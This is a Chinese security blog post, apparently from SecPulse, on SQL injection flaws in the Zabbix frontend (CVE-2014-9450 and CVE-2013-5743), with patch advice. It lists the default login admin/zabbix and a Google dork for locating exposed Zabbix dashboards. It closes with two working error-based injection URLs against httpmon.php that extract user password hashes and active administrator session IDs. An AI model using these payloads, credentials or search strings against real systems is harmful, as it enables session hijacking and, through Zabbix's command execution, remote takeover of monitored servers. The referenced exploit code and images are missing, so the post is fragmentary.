今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开。
漏洞详情大约是这样的:
在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。
在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。
$itemid = $item['itemid'];
最后这个参数进到了SQL查询的过程
在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。
修复建议:对相关参数加上zbx_dbstr函数进行过滤
wooyun上给出的Poc不好用,小伙伴改了个Java版的Exp,后来研究出了如何简单识别站点有无漏洞,Exp效果如下图:
小编反编译阅读了一下Java源码 改了个Python版本的:
''' 官方定义为 CVE-2014-9450 Multiple SQL injection vulnerabilities in chart_bar.php in the frontend in Zabbix before 1.8.22, 2.0.x before 2.0.14, and 2.2.x before 2.2.8 allow remote attackers to execute arbitrary SQL commands via the (1) itemid or (2) periods parameter. '''
安全脉搏脑补时间:
默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php
我们还清楚的记得
Zabbix SQL Injection/RCE – CVE-2013-5743
httpmon.php页面存在未经zbx_dbstr函数过滤导致注入
获取密码
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
获取sessionid(可替换刷新登陆)
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*), concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)